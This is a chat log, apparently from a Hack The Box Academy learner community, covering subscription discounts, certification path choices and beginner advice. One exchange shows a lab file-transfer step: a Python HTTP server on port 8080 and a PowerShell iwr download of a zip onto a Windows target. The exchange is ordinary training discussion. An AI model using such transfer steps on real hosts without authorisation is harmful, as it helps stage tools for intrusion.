Quick question: I’m planning to start Senior Web Penetration Tester path which requires 7500 cubes. If I get Platinum Monthly, will it make 36% discount for the modules?

[fathom pendant]

That's not how the discount works

The discount is the # of cubes you get compared to outright purchasing the same amount

It's not a discount on the modules themselves

[sacred laurel]

Oh so if you get 1000 cubes directly it’s 100 dollars but if you get monthly platinum it’s 68 dollars so 36% discount?

[fathom pendant]

Bingo

[sacred laurel]

I’m disappointed lmao

[fathom pendant]

you're still getting cubes for cheaper

[old oasis]

Probably a good idea to do the CBBH first

Its an advanced cert after all

[fathom pendant]

it's not like you're getting no benefit from it

¯_(ツ)_/¯

[fathom pendant]

eh CBBH isn't necessarily needed if you already have knowledge of the domains covered in it

[sacred laurel]

almost done that, that’s why I wanted to start to other one

[sacred laurel]

yeah thanks for consoling lol

[old oasis]

cool the modules tend to cost about 500 cubes so you can slowly work through them as you get more cubes

[sacred laurel]

sounds like a good idea! will have more time to grasp the contents hahah

[fathom pendant]

@vestal dust i don't accept unsolicited DMs

[upbeat oak]

Hey I'm on windows file transfer I made a python http server with python3 -m http.server 8080 and then attempt to iwr using http://IP:8080/upload_win.zip -OutFile upload_win.zip but I'm getting an unable to connect to the remote server error. Did I mess up with the http server or am I missing something else?

[fathom pendant]

did you switch ip for your tun0 ip?

[upbeat oak]

oh no I thought it was the target ip that could be the problem

[fathom pendant]

how would the target IP have the file to download 😉

[upbeat oak]

Lol my bad thank you!

[stark lark]

Does this look familiar to anyone

Privs should be sufficient

https://academy.hackthebox.com/module/147/section/1638

[fringe urchin]

did you do the :debug?

or what ever the correct command is

let me take a look since im speaking out from my head

[next bronze]

shouldn't you speak out from your mouth

[fringe urchin]

[fringe urchin]

yea. did you do that now or already before?

[quiet gust]

Can anyone recommend me I am totally new for which path I should choose

[fathom pendant]

information security fundamentals skill path

[quiet gust]

I started this but in setting up and organization there are some points in which there is very complex code is written and I am not able to understand single bit in this so what should I do

[fathom pendant]

?

take notes, google what you don't understand